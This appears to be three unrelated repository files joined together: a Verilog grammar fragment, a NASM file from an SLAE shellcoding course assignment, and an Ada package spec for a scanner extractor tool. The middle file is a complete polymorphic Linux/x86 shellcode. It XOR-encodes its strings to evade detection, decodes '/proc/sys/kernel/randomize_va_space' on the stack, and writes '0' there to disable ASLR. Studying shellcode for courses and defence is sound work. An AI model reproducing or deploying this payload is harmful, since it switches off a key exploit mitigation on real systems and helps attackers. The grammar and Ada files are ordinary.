strengths pulldown_strength : LEFT_PARENTHESIS strength0 COMMA strength1 RIGHT_PARENTHESIS | LEFT_PARENTHESIS strength1 COMMA strength0 RIGHT_PARENTHESIS | LEFT_PARENTHESIS strength0 RIGHT_PARENTHESIS ; pullup_strength : LEFT_PARENTHESIS strength0 COMMA strength1 RIGHT_PARENTHESIS | LEFT_PARENTHESIS strength1 COMMA strength0 RIGHT_PARENTHESIS | LEFT_PARENTHESIS strength1 RIGHT_PARENTHESIS ; // A.3.3 Primitive terminals enable_terminal : expression ; inout_terminal : net_lvalue ; input_terminal : expression ; ncontrol_terminal : expression ; output_terminal : net_lvalue ; pcontrol_terminal : expression ; // A.3.4 Primitive gate and switch types cmos_switchtype : CMOS | RCMOS ; enable_gatetype : BUFIF0 | BUFIF1 | NOTIF0 | NOTIF1 ; mos_switchtype : NMOS | PMOS | RNMOS | RPMOS ; n_input_gatetype : AND | NAND | OR | NOR | XOR | XNOR ; n_output_gatetype : BUF | NOT ; pass_en_switchtype : TRANIF0 | TRANIF1 | RTRANIF1 | RTRANIF0 ; pass_switchtype : TRAN | RTRAN ; // A.4 Module instantiation and generate construct // A.4.1 Module instantiation module_instantiation : module_identifier parameter_value_assignment? module_instance (COMMA module_instance)* SEMICOLON ; parameter_value_assignment : HASH LEFT_PARENTHESIS list_of_parameter_assignments RIGHT_PARENTHESIS ; list_of_parameter_assignments : ordered_parameter_assignment (COMMA ordered_parameter_assignment)* | named_parameter_assignment (COMMA named_parameter_assignment)* ; ordered_parameter_assignment : expression ; named_parameter_assignment : DOT parameter_identifier LEFT_PARENTHESIS mintypmax_expression? RIGHT_PARENTHESIS ; module_instance : name_of_module_instance LEFT_PARENTHESIS list_of_port_connections RIGHT_PARENTHESIS ; name_of_module_instance : module_instance_identifier range_? ; list_of_port_connections : ordered_port_connection (COMMA ordered_port_connection)* | named_port_connection (COMMA named_port_connection)* ; ordered_port_connection : attribute_instance* expression? ; named_port_connection : attribute_instance* DOT port_identifier LEFT_PARENTHESIS expression? RIGHT_PARENTHESIS ; // A.4.2 Generate construct generate_region : GENERATE module_or_generate_item* ENDGENERATE ; genvar_declaration : GENVAR list_of_genvar_identifiers SEMICOLON ; list_of_genvar_identifiers : genvar_identifier (COMMA genvar_identifier)* ; loop_generate_construct : FOR LEFT_PARENTHESIS genvar_initialization SEMICOLON genvar_expression SEMICOLON genvar_iteration RIGHT_PARENTHESIS generate_block ; genvar_initialization : genvar_identifier EQUAL constant_expression ; genvar_expression : genvar_primary | unary_operator attribute_instance* genvar_primary | genvar_expression binary_operator attribute_instance* genvar_expression | genvar_expression QUESTION_MARK attribute_instance* genvar_expression COLON genvar_expression ; genvar_iteration : genvar_identifier EQUAL genvar_expression ; genvar_primary : constant_primary | genvar_identifier ; conditional_generate_construct : if_generate_construct | case_generate_construct ; if_generate_construct : IF LEFT_PARENTHESIS constant_expression RIGHT_PARENTHESIS generate_block_or_null (ELSE generate_block_or_null)? ; case_generate_construct : constant_expression (COMMA constant_expression)* COLON generate_block_or_null | DEFAULT COLON? generate_block_or_null ; generate_block : module_or_generate_item | BEGIN (COLON generate_block_identifier)? module_or_generate_item* END ; generate_block_or_null : generate_block | SEMICOLON ; // A.5 UDP declaration and instantiation // A.5.1 UDP declaration /* udp_declaration : attribute_instance* PRIMITIVE udp_identifier LEFT_PARENTHESIS udp_port_list RIGHT_PARENTHESIS SEMICOLON udp_port_declaration udp_port_declaration* udp_body ENDPRIMITIVE | attribute_instance* PRIMITIVE udp_identifier LEFT_PARENTHESIS udp_declaration_port_list RIGHT_PARENTHESIS SEMICOLON udp_body ENDPRIMITIVE ; */ // A.5.2 UDP ports /* udp_port_list : output_port_identifier COMMA input_port_identifier (COMMA input_port_identifier)* ; udp_declaration_port_list : udp_output_declaration COMMA udp_input_declaration (COMMA udp_input_declaration)* ; udp_port_declaration : udp_output_declaration SEMICOLON | udp_input_declaration SEMICOLON | udp_reg_declaration SEMICOLON ; udp_output_declaration : attribute_instance* OUTPUT port_identifier | attribute_instance* OUTPUT REG port_identifier (EQUAL constant_expression)? ; udp_input_declaration : attribute_instance* INPUT list_of_port_identifiers ; udp_reg_declaration : attribute_instance* REG variable_identifier ; */ // A.5.3 UDP body /* udp_body : combinational_body | sequential_body ; combinational_body : TABLE combinational_entry combinational_entry* ENDTABLE ; combinational_entry : level_input_list COLON OUTPUT_SYMBOL SEMICOLON ; sequential_body : udp_initial_statement? TABLE sequential_entry sequential_entry* ENDTABLE ; udp_initial_statement : INITIAL output_port_identifier EQUAL INIT_VAL SEMICOLON ; sequential_entry : seq_input_list COLON current_state COLON next_state SEMICOLON ; seq_input_list : level_input_list | edge_input_list ; level_input_list : LEVEL_SYMBOL LEVEL_SYMBOL* ; edge_input_list : LEVEL_SYMBOL* edge_indicator LEVEL_SYMBOL* ; edge_indicator : LEFT_PARENTHESIS LEVEL_SYMBOL LEVEL_SYMBOL RIGHT_PARENTHESIS | EDGE_SYMBOL ; current_state : LEVEL_SYMBOL ; next_state : OUTPUT_SYMBOL | MINUS ; */ // A.5.4 UDP instantiation /* udp_instantiation : udp_identifier drive_strength? delay2? udp_instance (COMMA udp_instance)* SEMICOLON ; udp_instance : name_of_udp_instance? LEFT_PARENTHESIS output_terminal COMMA input_terminal (COMMA input_terminal)* RIGHT_PARENTHESIS ; name_of_udp_instance : udp_instance_identifier range_? ; */ // A.6 Behavioral statements // A.6.1 Continuous assignment statements continuous_assign : ASSIGN drive_strength? delay3? list_of_net_assignments SEMICOLON ; list_of_net_assignments : net_assignment (COMMA net_assignment)* ; net_assignment : net_lvalue EQUAL expression ; // A.6.2 Procedural blocks and assignments initial_construct : INITIAL statement ; always_construct : ALWAYS statement ; blocking_assignment : variable_lvalue EQUAL delay_or_event_control? expression ; nonblocking_assignment : variable_lvalue LESS_THAN_EQUAL delay_or_event_control? expression ; procedural_continuous_assignments : ASSIGN variable_assignment | DEASSIGN variable_lvalue | FORCE variable_assignment | FORCE net_assignment | RELEASE variable_lvalue | RELEASE net_lvalue ; variable_assignment : variable_lvalue EQUAL expression ; // A.6.3 Parallel and sequential blocks par_block : FORK (COLON block_identifier block_item_declaration*)? statement* JOIN ; seq_block : BEGIN (COLON block_identifier block_item_declaration*)? statement* END ; // A.6.4 Statements statement : attribute_instance* blocking_assignment SEMICOLON | attribute_instance* case_statement | attribute_instance* conditional_statement | attribute_instance* disable_statement | attribute_instance* event_trigger | attribute_instance* loop_statement | attribute_instance* nonblocking_assignment SEMICOLON | attribute_instance* par_block | attribute_instance* procedural_continuous_assignments SEMICOLON | attribute_instance* procedural_timing_control_statement | attribute_instance* seq_block | attribute_instance* system_task_enable | attribute_instance* task_enable | attribute_instance* wait_statement | display_tasks | strobe_tasks | monitor_tasks | file_open_function | file_close_task | file_output_tasks | load_memory_tasks | finish_task | stop_task | dumpall_task | dumpfile_task | dumpflush_task | dumplimit_task | dumpoff_task | dumpon_task | dumpports_task | dumpportsall_task | dumpportsflush_task | dumpportslimit_task | dumpportsoff_task | dumpportson_task | dumpvars_task ; statement_or_null : statement | attribute_instance* SEMICOLON ; function_statement : statement ; // A.6.5 Timing control statements delay_control : HASH delay_value | HASH LEFT_PARENTHESIS mintypmax_expression RIGHT_PARENTHESIS ; delay_or_event_control : delay_control | event_control | REPEAT LEFT_PARENTHESIS expression RIGHT_PARENTHESIS event_control ; disable_statement : DISABLE hierarchical_task_identifier SEMICOLON | DISABLE hierarchical_block_identifier SEMICOLON ; event_control : AT hierarchical_event_identifier | AT LEFT_PARENTHESIS event_expression RIGHT_PARENTHESIS | AT ASTERISK | AT LEFT_PARENTHESIS ASTERISK RIGHT_PARENTHESIS ; event_trigger : MINUS_GREATER_THAN hierarchical_event_identifier expression* SEMICOLON ; event_expression : expression | POSEDGE expression | NEGEDGE expression | event_expression OR event_expression | event_expression COMMA event_expression ; event_primary : expression | POSEDGE expression | NEGEDGE expression ; procedural_timing_control : delay_control | event_control ; procedural_timing_control_statement : procedural_timing_control statement_or_null ; wait_statement : WAIT LEFT_PARENTHESIS expression RIGHT_PARENTHESIS statement_or_null ; // A.6.6 Conditional statements conditional_statement : IF LEFT_PARENTHESIS expression RIGHT_PARENTHESIS statement_or_null (ELSE IF LEFT_PARENTHESIS expression RIGHT_PARENTHESIS statement_or_null)* (ELSE statement_or_null)? ; // A.6.7 Case statements case_statement : CASE LEFT_PARENTHESIS expression RIGHT_PARENTHESIS case_item case_item* ENDCASE | CASEZ LEFT_PARENTHESIS expression RIGHT_PARENTHESIS case_item case_item* ENDCASE | CASEX LEFT_PARENTHESIS expression RIGHT_PARENTHESIS case_item case_item* ENDCASE ; case_item : expression (COMMA expression)* COLON statement_or_null | DEFAULT COLON? statement_or_null ; // A.6.8 Looping statements loop_statement : FOREVER statement | REPEAT LEFT_PARENTHESIS expression RIGHT_PARENTHESIS statement | WHILE LEFT_PARENTHESIS expression RIGHT_PARENTHESIS statement | FOR LEFT_PARENTHESIS variable_assignment SEMICOLON expression SEMICOLON variable_assignment RIGHT_PARENTHESIS statement ; // A.6.9 Task enable statements system_task_enable : system_task_identifier (LEFT_PARENTHESIS expression? (COMMA expression?)* RIGHT_PARENTHESIS)? SEMICOLON ; task_enable : hierarchical_task_identifier (LEFT_PARENTHESIS expression (COMMA expression)* RIGHT_PARENTHESIS)? SEMICOLON ; // A.7 Specify section // A.7.1 Specify block declaration specify_block : SPECIFY specify_item* ENDSPECIFY ; specify_item : specparam_declaration | pulsestyle_declaration | showcancelled_declaration | path_declaration ; pulsestyle_declaration : PULSESTYLE_ONEVENT list_of_path_outputs SEMICOLON | PULSESTYLE_ONDETECT list_of_path_outputs SEMICOLON ; showcancelled_declaration : SHOWCANCELLED list_of_path_outputs SEMICOLON | NOSHOWCANCELLED list_of_path_outputs SEMICOLON ; // A.7.2 Specify path declarations path_declaration : simple_path_declaration SEMICOLON | edge_sensitive_path_declaration SEMICOLON | state_dependent_path_declaration SEMICOLON ; simple_path_declaration : parallel_path_description EQUAL path_delay_value | full_path_description EQUAL path_delay_value ; parallel_path_description : LEFT_PARENTHESIS specify_input_terminal_descriptor polarity_operator? EQUAL_GREATER_THAN specify_output_terminal_descriptor RIGHT_PARENTHESIS ; full_path_description : LEFT_PARENTHESIS list_of_path_inputs polarity_operator? ASTERISK_GREATER_THAN list_of_path_outputs RIGHT_PARENTHESIS ; list_of_path_inputs : specify_input_terminal_descriptor (COMMA specify_input_terminal_descriptor)* ; list_of_path_outputs : specify_output_terminal_descriptor (COMMA specify_output_terminal_descriptor)* ; // A.7.3 Specify block terminals specify_input_terminal_descriptor : input_identifier (LEFT_BRACKET constant_range_expression RIGHT_BRACKET)? ; specify_output_terminal_descriptor : output_identifier (LEFT_BRACKET constant_range_expression RIGHT_BRACKET)? ; input_identifier : input_port_identifier | inout_port_identifier ; output_identifier : output_port_identifier | inout_port_identifier ; // A.7.4 Specify path delays path_delay_value : list_of_path_delay_expressions | LEFT_PARENTHESIS list_of_path_delay_expressions RIGHT_PARENTHESIS ; list_of_path_delay_expressions : t_path_delay_expression | trise_path_delay_expression COMMA tfall_path_delay_expression | trise_path_delay_expression COMMA tfall_path_delay_expression COMMA tz_path_delay_expression | t01_path_delay_expression COMMA t10_path_delay_expression COMMA t0z_path_delay_expression COMMA tz1_path_delay_expression COMMA t1z_path_delay_expression COMMA tz0_path_delay_expression | t01_path_delay_expression COMMA t10_path_delay_expression COMMA t0z_path_delay_expression COMMA tz1_path_delay_expression COMMA t1z_path_delay_expression COMMA tz0_path_delay_expression COMMA t0x_path_delay_expression COMMA tx1_path_delay_expression COMMA t1x_path_delay_expression COMMA tx0_path_delay_expression COMMA txz_path_delay_expression COMMA tzx_path_delay_expression ; t_path_delay_expression : path_delay_expression ; trise_path_delay_expression : path_delay_expression ; tfall_path_delay_expression : path_delay_expression ; tz_path_delay_expression : path_delay_expression ; t01_path_delay_expression : path_delay_expression ; t10_path_delay_expression : path_delay_expression ; t0z_path_delay_expression : path_delay_expression ; tz1_path_delay_expression : path_delay_expression ; t1z_path_delay_expression : path_delay_expression ; tz0_path_delay_expression : path_delay_expression ; t0x_path_delay_expression : path_delay_expression ; tx1_path_delay_expression : path_delay_expression ; t1x_path_delay_expression : path_delay_expression ; tx0_path_delay_expression : path_delay_expression ; txz_path_delay_expression : path_delay_expression ; tzx_path_delay_expression : path_delay_expression ; path_delay_expression : constant_mintypmax_expression ; edge_sensitive_path_declaration : parallel_edge_sensitive_path_description EQUAL path_delay_value | full_edge_sensitive_path_description EQUAL path_delay_value ; parallel_edge_sensitive_path_description : LEFT_PARENTHESIS edge_identifier? specify_input_terminal_descriptor EQUAL_GREATER_THAN LEFT_PARENTHESIS specify_output_terminal_descriptor polarity_operator? COLON data_source_expression RIGHT_PARENTHESIS RIGHT_PARENTHESIS ; full_edge_sensitive_path_description : LEFT_PARENTHESIS edge_identifier? list_of_path_inputs ASTERISK_GREATER_THAN LEFT_PARENTHESIS list_of_path_outputs polarity_operator? COLON data_source_expression RIGHT_PARENTHESIS RIGHT_PARENTHESIS ; data_source_expression : expression ; edge_identifier : POSEDGE | NEGEDGE ; state_dependent_path_declaration : IF LEFT_PARENTHESIS module_path_expression RIGHT_PARENTHESIS simple_path_declaration | IF LEFT_PARENTHESIS module_path_expression RIGHT_PARENTHESIS edge_sensitive_path_declaration | IFNONE simple_path_declaration ; polarity_operator : PLUS | MINUS ; // A.7.5 System timing checks // A.7.5.1 System timing check commands /* system_timing_check : setup_timing_check | hold_timing_check | setuphold_timing_check | recovery_timing_check | removal_timing_check | recrem_timing_check | skew_timing_check | timeskew_timing_check | fullskew_timing_check | period_timing_check | width_timing_check | nochange_timing_check ; setup_timing_check : DOLLAR_SETUP LEFT_PARENTHESIS data_event COMMA reference_event COMMA timing_check_limit (COMMA notifier?)? RIGHT_PARENTHESIS SEMICOLON ; hold_timing_check : DOLLAR_HOLD LEFT_PARENTHESIS reference_event COMMA data_event COMMA timing_check_limit (COMMA notifier?)? RIGHT_PARENTHESIS SEMICOLON ; setuphold_timing_check : DOLLAR_SETUPHOLD LEFT_PARENTHESIS reference_event COMMA data_event COMMA timing_check_limit COMMA timing_check_limit (COMMA notifier? (COMMA timestamp_condition? (COMMA timecheck_condition? (COMMA delayed_reference? (COMMA delayed_data?)?)?)?)?)? RIGHT_PARENTHESIS SEMICOLON ; recovery_timing_check : DOLLAR_RECOVERY LEFT_PARENTHESIS reference_event COMMA data_event COMMA timing_check_limit (COMMA notifier?)? RIGHT_PARENTHESIS SEMICOLON ; removal_timing_check : DOLLAR_REMOVAL LEFT_PARENTHESIS reference_event COMMA data_event COMMA timing_check_limit (COMMA notifier?)? RIGHT_PARENTHESIS SEMICOLON ; recrem_timing_check : DOLLAR_RECREM LEFT_PARENTHESIS reference_event COMMA data_event COMMA timing_check_limit COMMA timing_check_limit (COMMA notifier? (COMMA timestamp_condition? (COMMA timecheck_condition? (COMMA delayed_reference? (COMMA delayed_data?)?)?)?)?)? RIGHT_PARENTHESIS SEMICOLON ; skew_timing_check : DOLLAR_SKEW LEFT_PARENTHESIS reference_event COMMA data_event COMMA timing_check_limit (COMMA notifier?)? RIGHT_PARENTHESIS SEMICOLON ; timeskew_timing_check : DOLLAR_TIMESKEW LEFT_PARENTHESIS reference_event COMMA data_event COMMA timing_check_limit (COMMA notifier? (COMMA event_based_flag? (COMMA remain_active_flag?)?)?)? RIGHT_PARENTHESIS SEMICOLON ; fullskew_timing_check : DOLLAR_FULLSKEW LEFT_PARENTHESIS reference_event COMMA data_event COMMA timing_check_limit COMMA timing_check_limit (COMMA notifier? (COMMA event_based_flag? (COMMA remain_active_flag?)?)?)? RIGHT_PARENTHESIS SEMICOLON ; period_timing_check : DOLLAR_PERIOD LEFT_PARENTHESIS controlled_reference_event COMMA timing_check_limit (COMMA notifier?)? RIGHT_PARENTHESIS SEMICOLON ; width_timing_check : DOLLAR_WIDTH LEFT_PARENTHESIS controlled_reference_event COMMA timing_check_limit COMMA threshold (COMMA notifier?)? RIGHT_PARENTHESIS SEMICOLON ; nochange_timing_check : DOLLAR_NOCHANGE LEFT_PARENTHESIS reference_event COMMA data_event COMMA start_edge_offset COMMA end_edge_offset (COMMA notifier?)? RIGHT_PARENTHESIS SEMICOLON ; */ // A.7.5.2 System timing check command arguments /* timecheck_condition : mintypmax_expression ; controlled_reference_event : controlled_timing_check_event ; data_event : timing_check_event ; delayed_data : terminal_identifier (LEFT_BRACKET constant_mintypmax_expression RIGHT_BRACKET)? ; delayed_reference : terminal_identifier (LEFT_BRACKET constant_mintypmax_expression RIGHT_BRACKET)? ; end_edge_offset : mintypmax_expression ; event_based_flag : constant_expression ; notifier : variable_identifier ; reference_event : timing_check_event ; remain_active_flag : constant_mintypmax_expression ; timestamp_condition : mintypmax_expression ; start_edge_offset : mintypmax_expression ; threshold : constant_expression ; timing_check_limit : expression ; */ // A.7.5.3 System timing check event definitions /* timing_check_event : timing_check_event_control? specify_terminal_descriptor (TRIPLE_AMPERSAND timing_check_condition)? ; controlled_timing_check_event : timing_check_event_control specify_terminal_descriptor (TRIPLE_AMPERSAND timing_check_condition)? ; timing_check_event_control : POSEDGE | NEGEDGE | EDGE | edge_control_specifier ; specify_terminal_descriptor : specify_input_terminal_descriptor | specify_output_terminal_descriptor ; edge_control_specifier : EDGE LEFT_BRACKET EDGE_DESCRIPTOR (COMMA EDGE_DESCRIPTOR)* RIGHT_BRACKET ; timing_check_condition : scalar_timing_check_condition | LEFT_PARENTHESIS scalar_timing_check_condition RIGHT_PARENTHESIS ; scalar_timing_check_condition : TILDE? expression | expression (DOUBLE_EQUAL | TRIPLE_EQUAL | EXCLAMATION_MARK_EQUAL | EXCLAMATION_MARK_DOUBLE_EQUAL) SCALAR_CONSTANT ; */ // A.8 Expressions // A.8.1 Concatenations concatenation : LEFT_BRACE expression (COMMA expression)* RIGHT_BRACE ; constant_concatenation : LEFT_BRACE constant_expression (COMMA constant_expression)* RIGHT_BRACE ; constant_multiple_concatenation : LEFT_BRACE constant_expression constant_concatenation RIGHT_BRACE ; module_path_concatenation : LEFT_BRACE module_path_expression (COMMA module_path_expression)* RIGHT_BRACE ; module_path_multiple_concatenation : LEFT_BRACE constant_expression module_path_concatenation RIGHT_BRACE ; multiple_concatenation : LEFT_BRACE constant_expression concatenation RIGHT_BRACE ; // A.8.2 Function calls constant_function_call : function_identifier attribute_instance* LEFT_PARENTHESIS constant_expression (COMMA constant_expression)* RIGHT_PARENTHESIS ; constant_system_function_call : system_function_identifier LEFT_PARENTHESIS constant_expression (COMMA constant_expression)* RIGHT_PARENTHESIS ; function_call : hierarchical_function_identifier attribute_instance* LEFT_PARENTHESIS expression (COMMA expression)* RIGHT_PARENTHESIS ; system_function_call : system_function_identifier (LEFT_PARENTHESIS expression (COMMA expression)* RIGHT_PARENTHESIS)? ; // A.8.3 Expressions base_expression : expression ; /* conditional_expression : expression QUESTION_MARK attribute_instance* expression COLON expression ; */ constant_base_expression : constant_expression ; constant_expression : constant_primary | unary_operator attribute_instance* constant_primary | constant_expression binary_operator attribute_instance* constant_expression | constant_expression QUESTION_MARK attribute_instance* constant_expression COLON constant_expression ; constant_mintypmax_expression : constant_expression | constant_expression COLON constant_expression COLON constant_expression ; constant_range_expression : constant_expression | msb_constant_expression COLON lsb_constant_expression | constant_base_expression PLUS_COLON width_constant_expression | constant_base_expression MINUS_COLON width_constant_expression ; dimension_constant_expression : constant_expression ; expression : primary | unary_operator attribute_instance* primary | expression binary_operator attribute_instance* expression | expression QUESTION_MARK attribute_instance* expression COLON expression // = conditional_expression ; lsb_constant_expression : constant_expression ; mintypmax_expression : expression | expression COLON expression COLON expression ; /* module_path_conditional_expression : module_path_expression QUESTION_MARK attribute_instance* module_path_expression COLON module_path_expression ; */ module_path_expression : module_path_primary | unary_module_path_operator attribute_instance* module_path_primary | module_path_expression binary_module_path_operator attribute_instance* module_path_expression | module_path_expression QUESTION_MARK attribute_instance* module_path_expression COLON module_path_expression // = module_path_conditional_expression ; module_path_mintypmax_expression : module_path_expression | module_path_expression COLON module_path_expression COLON module_path_expression ; msb_constant_expression : constant_expression ; range_expression : expression | msb_constant_expression COLON lsb_constant_expression | base_expression PLUS_COLON width_constant_expression | base_expression MINUS_COLON width_constant_expression ; width_constant_expression : constant_expression ; // A.8.4 Primaries constant_primary : number | parameter_identifier (LEFT_BRACKET constant_range_expression RIGHT_BRACKET)? | specparam_identifier (LEFT_BRACKET constant_range_expression RIGHT_BRACKET)? | constant_concatenation | constant_multiple_concatenation | constant_function_call | constant_system_function_call | LEFT_PARENTHESIS constant_mintypmax_expression RIGHT_PARENTHESIS | STRING | conversion_functions | random_function | dist_functions | math_functions ; module_path_primary : number | identifier | module_path_concatenation | module_path_multiple_concatenation | function_call | system_function_call | LEFT_PARENTHESIS module_path_mintypmax_expression RIGHT_PARENTHESIS ; primary : number | hierarchical_identifier ((LEFT_BRACKET expression RIGHT_BRACKET)* LEFT_BRACKET range_expression RIGHT_BRACKET)? | concatenation | multiple_concatenation | function_call | system_function_call | LEFT_PARENTHESIS mintypmax_expression RIGHT_PARENTHESIS | STRING | conversion_functions | random_function | dist_functions | math_functions ; // A.8.5 Expression left-side values net_lvalue : hierarchical_net_identifier ((LEFT_BRACKET constant_expression RIGHT_BRACKET)* LEFT_BRACKET constant_range_expression RIGHT_BRACKET)? | LEFT_BRACE net_lvalue (COMMA net_lvalue)* RIGHT_BRACE ; variable_lvalue : hierarchical_variable_identifier ((LEFT_BRACKET expression RIGHT_BRACKET)* LEFT_BRACKET range_expression RIGHT_BRACKET)? | LEFT_BRACE variable_lvalue (COMMA variable_lvalue)* RIGHT_BRACE ; // A.8.6 Operators unary_operator : PLUS | MINUS | EXCLAMATION_MARK | TILDE | AMPERSAND | TILDE_AMPERSAND | VERTICAL_BAR | TILDE_VERTICAL_BAR | CARET | TILDE_CARET | CARET_TILDE ; binary_operator : PLUS | MINUS | ASTERISK | SLASH | PERCENT | DOUBLE_EQUAL | EXCLAMATION_MARK_EQUAL | TRIPLE_EQUAL | EXCLAMATION_MARK_DOUBLE_EQUAL | DOUBLE_AMPERSAND | DOUBLE_VERTICAL_BAR | DOUBLE_ASTERISK | LESS_THAN | LESS_THAN_EQUAL | GREATER_THAN | GREATER_THAN_EQUAL | AMPERSAND | VERTICAL_BAR | CARET | CARET_TILDE | TILDE_CARET | DOUBLE_GREATER_THAN | DOUBLE_LESS_THAN | TRIPLE_GREATER_THAN | TRIPLE_LESS_THAN ; unary_module_path_operator : EXCLAMATION_MARK | TILDE | AMPERSAND | TILDE_AMPERSAND | VERTICAL_BAR | TILDE_VERTICAL_BAR | CARET | TILDE_CARET | CARET_TILDE ; binary_module_path_operator : DOUBLE_EQUAL | EXCLAMATION_MARK_EQUAL | DOUBLE_AMPERSAND | DOUBLE_VERTICAL_BAR | AMPERSAND | VERTICAL_BAR | CARET | TILDE_CARET | CARET_TILDE ; // A.8.7 Numbers number : DECIMAL_NUMBER | OCTAL_NUMBER | BINARY_NUMBER | HEX_NUMBER | REAL_NUMBER ; // A.9 General // A.9.1 Attributes attribute_instance : LEFT_PARENTHESIS ASTERISK attr_spec (COMMA attr_spec)* ASTERISK RIGHT_PARENTHESIS ; attr_spec : attr_name (EQUAL constant_expression)? ; attr_name : identifier ; // A.9.3 Identifiers block_identifier : identifier ; cell_identifier : identifier ; config_identifier : identifier ; event_identifier : identifier ; function_identifier : identifier ; gate_instance_identifier : identifier ; generate_block_identifier : identifier ; genvar_identifier : identifier ; hierarchical_block_identifier : hierarchical_identifier ; hierarchical_event_identifier : hierarchical_identifier ; hierarchical_function_identifier : hierarchical_identifier ; hierarchical_identifier : (identifier (LEFT_BRACKET constant_expression RIGHT_BRACKET)? DOT)* identifier ; hierarchical_net_identifier : hierarchical_identifier ; hierarchical_parameter_identifier : hierarchical_identifier ; hierarchical_variable_identifier : hierarchical_identifier ; hierarchical_task_identifier : hierarchical_identifier ; identifier : SIMPLE_IDENTIFIER | ESCAPED_IDENTIFIER ; inout_port_identifier : identifier ; input_port_identifier : identifier ; instance_identifier : identifier ; library_identifier : identifier ; module_identifier : identifier ; module_instance_identifier : identifier ; net_identifier : identifier ; output_port_identifier : identifier ; parameter_identifier : identifier ; port_identifier : identifier ; real_identifier : identifier ; specparam_identifier : identifier ; system_function_identifier : SYSTEM_TF_IDENTIFIER ; system_task_identifier : SYSTEM_TF_IDENTIFIER ; task_identifier : identifier ; terminal_identifier : identifier ; topmodule_identifier : identifier ; udp_identifier : identifier ; udp_instance_identifier : identifier ; variable_identifier : identifier ;
assignment-6/shellcode-813.nasm
rcesecurity/slae
8
163228
<reponame>rcesecurity/slae ; SLAE - Assignment #6: Polymorphic Shellcodes (Linux/x86) - Part1 ; Original: http://shell-storm.org/shellcode/files/shellcode-813.php ; Author: <NAME> (@MrTuxracer) ; Website: http://www.rcesecurity.com global _start section .text _start: xor eax, eax add eax, 0x25 ;length of payload +1 to keep decrementing loop working ;push eax ;Let's XOR encode the payload with 0xab ;push dword 0x65636170 push dword 0xcec8cadb ;push dword 0x735f6176 push dword 0xd8f4cadd ;push dword 0x5f657a69 push dword 0xf4ced1c2 ;push dword 0x6d6f646e push dword 0xc6c4cfc5 ;push dword 0x61722f6c push dword 0xcad984c7 ;push dword 0x656e7265 push dword 0xcec5d9ce ;push dword 0x6b2f7379 push dword 0xc084d8d2 ;push dword 0x732f636f push dword 0xd884c8c4 ;push dword 0x72702f2f push dword 0xd9db8484 ;and decode it on the stack using a decrementing loop to get 0x0 into EAX loop0: dec al mov cl,[esp+eax] xor cl,0xab mov [esp+eax],cl cmp al, ah jne loop0 mov [esp+0x24], eax ;replaces the "push eax" instruction from the beginning mov ebx,esp ;mov cx,0x2bc sub cx,0xcc73 ;since cl contains 0x2f from the decoding, subtracting 0xcc73 results in 0x2bc ;mov al,0x8 add al, 0x8 ;eax is 0x0, so adding 0x8 to get the next syscall (sys_creat) int 0x80 mov ebx,eax push eax ;mov dx,0x3a30 mov dx, 0x1111 add dx, 0x291f ;a simple addition to get 0x3a30 into dx push dx mov ecx,esp ;xor edx,edx mov edx,[esp+0x2a] ;use 0-bytes from the payload instead of using xor for termination inc edx ;mov al,0x4 imul eax, edx, 0x4 ;multiply edx with 0x4 to get next syscall (sys_write) int 0x80 ;mov al,0x6 imul eax, edx, 0x6 ;multiply edx with 0x4 to get next syscall (sys_close) int 0x80 inc eax int 0x80
tools/scanner_transformer/scanner_extractor.ads
svn2github/matreshka
24
12597
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Localization, Internationalization, Globalization for Ada -- -- -- -- Tools Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2010-2011, <NAME> <<EMAIL>> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with Ada.Containers.Vectors; with Ada.Strings.Wide_Unbounded; with Asis; package Scanner_Extractor is package Unbounded_Wide_String_Vectors is new Ada.Containers.Vectors (Positive, Ada.Strings.Wide_Unbounded.Unbounded_Wide_String, Ada.Strings.Wide_Unbounded."="); type Choice_Information (Is_Empty : Boolean := True) is record case Is_Empty is when True => null; when False => Choice : Positive; Line : Positive; File : Ada.Strings.Wide_Unbounded.Unbounded_Wide_String; Text : Unbounded_Wide_String_Vectors.Vector; end case; end record; package Choice_Vectors is new Ada.Containers.Vectors (Positive, Choice_Information); type State_Constant_Information is record Name : Ada.Strings.Wide_Unbounded.Unbounded_Wide_String; Value : Integer; end record; package State_Constants_Vectors is new Ada.Containers.Vectors (Positive, State_Constant_Information); package Integer_Vectors is new Ada.Containers.Vectors (Natural, Integer); type Plane_Information is record Number : Natural; Values : Integer_Vectors.Vector; end record; type Reference_Information is record Number : Natural; Reference : Natural; end record; package Plane_Vectors is new Ada.Containers.Vectors (Positive, Plane_Information); package Reference_Vectors is new Ada.Containers.Vectors (Positive, Reference_Information); YY_End_Of_Buffer : Integer := -1; YY_Jam_State : Integer := -1; YY_Jam_Base : Integer := -1; YY_First_Template : Integer := -1; State_Constants : State_Constants_Vectors.Vector; YY_EC_Planes : Plane_Vectors.Vector; 